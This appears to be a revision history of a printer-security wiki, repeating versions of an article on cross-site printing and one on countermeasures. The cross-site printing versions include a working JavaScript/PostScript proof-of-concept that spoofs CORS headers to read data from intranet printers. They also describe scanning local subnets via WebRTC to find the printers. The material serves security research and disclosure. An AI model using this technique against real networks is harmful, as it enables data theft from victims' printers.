* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|-
! Channel !! Port !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || 9100 || - || ✔ || ✔ || -
|-
| Web || 80 || ✔ || - || - || -
|-
| IPP || 631 || ✔ || - || ✔ || -
|-
| LPD || 515 || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op
|-
| FTP || 21 || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer.

<span style="color:red">Update: To prevent cross-site printing, port 9100/tcp may be blocked in future releases of Firefox <ref>''[https://bugzilla.mozilla.org/show_bug.cgi?id=1335688 Bug 1335688 - Cross-Site Printing (XSP) and CORS Spoofing]'', Bugzilla@Mozilla</ref> and Chrome <ref>''[https://bugs.chromium.org/p/chromium/issues/detail?id=687530 Issue 687530 - Security: Cross-Site Printing (XSP) and CORS Spoofing]'', Chromium Bug Tracker</ref>.</span>

→ ''Related articles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[Port 9100 printing]], [[BeEF]]

----

Cross-site printing

2017-03-24T11:11:21Z

Admin:

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a hole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|-
! Channel !! Port !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || 9100 || - || ✔ || ✔ || -
|-
| Web || 80 || ✔ || - || - || -
|-
| IPP || 631 || ✔ || - || ✔ || -
|-
| LPD || 515 || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op
|-
| FTP || 21 || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer.

<span style="color:red">Update: To prevent cross-site printing, port 9100/tcp may be blocked in future releases of Firefox <ref>''[https://bugzilla.mozilla.org/show_bug.cgi?id=1335688 Bug 1335688 - Cross-Site Printing (XSP) and CORS Spoofing]'', Bugzilla@Mozilla, 2017</ref> and Chrome <ref>''[https://bugs.chromium.org/p/chromium/issues/detail?id=687530 Issue 687530 - Security: Cross-Site Printing (XSP) and CORS Spoofing]'', Chromium Bug Tracker, 2017</ref>.</span>

→ ''Related articles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[Port 9100 printing]], [[BeEF]]

----

Cross-site printing

2017-03-24T11:08:49Z

Admin:

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a hole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|-
! Channel !! Port !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || 9100 || - || ✔ || ✔ || -
|-
| Web || 80 || ✔ || - || - || -
|-
| IPP || 631 || ✔ || - || ✔ || -
|-
| LPD || 515 || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op
|-
| FTP || 21 || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer.

<span style="color:red">Update: To prevent cross-site printing, port 9100/tcp may be blocked in future releases of Firefox <ref>''[https://bugzilla.mozilla.org/show_bug.cgi?id=1335688 Bug 1335688 - Cross-Site Printing (XSP) and CORS Bugzilla@Mozilla, 2017</ref> and Chrome <ref>''[https://bugs.chromium.org/p/chromium/issues/detail?id=687530 Issue 687530 - Security: Cross-Site Printing (XSP) and CORS Spoofing]'', Chromium Bug Tracker, 2017</ref>.</span>

→ ''Related articles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[Port 9100 printing]], [[BeEF]]

----

Cross-site printing

2017-03-24T11:08:28Z

Admin: /* Proof-of-concept */

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a hole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
* The IPP standard requires the <code>Content-type</code> for HTTP POST requests being set to <code>application/ipp</code> <ref>''[https://tools.ietf.org/html/rfc2910 RFC2910 – Internet Printing Protocol/1.1: Encoding and Transport]'', R. Herriot, 2000</ref> which cannot be done with XHR objects – it is however up to the implementation to actually care about incorrect types

A comparison of cross-site printing channels is given in below:

{| class="wikitable" style="text-align:center"
|-
! Channel !! Port !! No Feedback !! Unsolicited printouts !! Standardized !! Blocked by
|-
| Raw || 9100 || - || ✔ || ✔ || -
|-
| Web || 80 || ✔ || - || - || -
|-
| IPP || 631 || ✔ || - || ✔ || -
|-
| LPD || 515 || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op
|-
| FTP || 21 || ✔ || - || ✔
| style="text-align:left;" | FF, Ch, Op, IE
|-
|}

One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC <ref>''[https://www.w3.org/TR/webrtc/ WebRTC 1.0: Real-time Communication Between Browsers]'', D. Bergkvist and D. Burnett and C. Jennings, W3C, Working Draft, 2014</ref> which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Microsoft Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before.

== Proof-of-concept ==

A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at [http://hacking-printers.net/xsp/ hacking-printers.net/xsp/]. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the [https://torproject.org/projects/torbrowser.html.en Tor Browser] blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer. <span style="color:red">Update: To prevent cross-site printing, port 9100/tcp may be blocked in future releases of Firefox <ref>''[https://bugzilla.mozilla.org/show_bug.cgi?id=1335688 Bug 1335688 - Cross-Site Printing (XSP) and CORS Bugzilla@Mozilla, 2017</ref> and Chrome <ref>''[https://bugs.chromium.org/p/chromium/issues/detail?id=687530 Issue 687530 - Security: Cross-Site Printing (XSP) and CORS Spoofing]'', Chromium Bug Tracker, 2017</ref>.</span>

→ ''Related articles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[Port 9100 printing]], [[BeEF]]

----

Countermeasures

2017-03-24T10:52:13Z

Admin: /* Admins */

Most attacks against printers are enabled because there is no clear distinction between [[Fundamentals#Page_Description_Languages|page description]] and [[Fundamentals#Printer_Control_Languages|printer control]] functionality. Using the very same channel for '''data''' (to be printed) and '''code''' (to control the device) makes printers insecure by design. Potentially harmful commands can be executed by anyone who has the right to print. Thus there is no silver bullet to counter such design-immanent flaws. There are however various short- and long-term recommendations, best practices and workarounds to mitigate the risks.

== Vendors ==

Printer vendors have gotten themselves into a situation that is not easy to solve. Cutting support for established and reliable languages like [[PostScript]] from one day to the next would break compatibility with existing printer drivers, and updating the PostScript standard is probably not an option. Additional security flaws are introduced through undocumented [[PJL]] extensions, service codes and further proprietary features. In general there is a lot of security by obscurity in the printing industry. Reverse engineering however is not black magic anymore. Vendors need to accept that – sooner or later – someone will discover their ‘hidden functions’ and should instead focus on open, well-studied standards to improve printer security. When it comes to firmware updates and software packages, digital signatures are often advocated as the single countermeasure. If used correctly, only files originating from the entity in possession of the private key can be installed on the device.

Code signing however also means technically restricting users to run vendor software <ref>This issue has also been discussed by the FSF when HP announced to introduce code signing for their printers: ‘[https://www.fsf.org/blogs/licensing/restricted-printers Fixing rogue printers: don't trade one security threat for another]’</ref>. Certainly there are legitimate reasons to execute custom code on a printer. An example has been given by <ref>''Distribuição Balanceada de Jobs em uma Rede de Impressoras'', L. Waechter, 2005</ref> who extended HP LaserJets to support load-balancing. The [https://en.wikipedia.org/wiki/OpenWrt OpenWrt] success story demonstrated how to improve the often limited functionality of embedded devices and there is no valid reason why printers should be excluded from the benefits of free software. Vendors should therefore take secure alternatives to code signing into account. For example the window of vulnerability can be limited to a local attacker if firmware updates required a confirmation key pressed on the printer's control panel. Further non-code signing based approaches like unique default passwords can be adapted from best practices in the world of home routers.

== Admins ==

Network administrators should never leave their printers accessible from the Internet and disable raw port 9100/tcp printing if not required. While this does not prevent most of the presented attacks, it complicates them and in particular mitigates the attackers ability to leak data. A more secure but also more expensive approach is to completely sandbox all printing devices into a separate [https://en.wikipedia.org/wiki/Virtual_LAN VLAN], only accessible by a hardened print server. The print server should completely ignore PJL commands and convert PostScript code to another page description language or to a ‘defused’ version using CUPS' ''ps2write'' filter and disallow access to raw print queues. Printers should be completely sandboxed, isolating them from the rest of the network to mitigate the harm in case they are rooted. It must however be noted that print servers themselves can be a target of attacks, for example using the techniques discussed in [[Beyond Printers]]. A schematic view of the VLAN sandboxing approach is given below:

[[File:Dedicated-print-server.png|600px|Dedicated print server as a countermeasures to sandbox printers]]

Most attacks are based on malicious print jobs. If the device supports authentication, it therefore should be configured to accept print jobs from authorized personnel only. Furthermore, if supported by the device, strong passwords should be set for PostScript ''startjob'' and system parameters, PJL disk lock and control panel lock as well as the embedded web server. Additionally, malicious PJL commands can be blocked using an [https://en.wikipedia.org/wiki/Intrusion_detection_system IDS/IPS]. Note however that such signature-based approaches are doomed to fail for PostScript which offers various code obfuscation techniques.

== Users ==

Employees should be trained to never leave the copy room unlocked and report suspicious printouts like [https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol HTTP] headers to the administrator as they may be traces of a [[cross-site printing]] attack. All other dispensable hard copies should be shred, even if they apparently do not contain confidential data.

----

Countermeasures

2017-03-24T10:51:38Z

Admin: /* Admins */

Cross-site printing

2017-02-24T15:47:32Z

Admin: Added port numbers

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

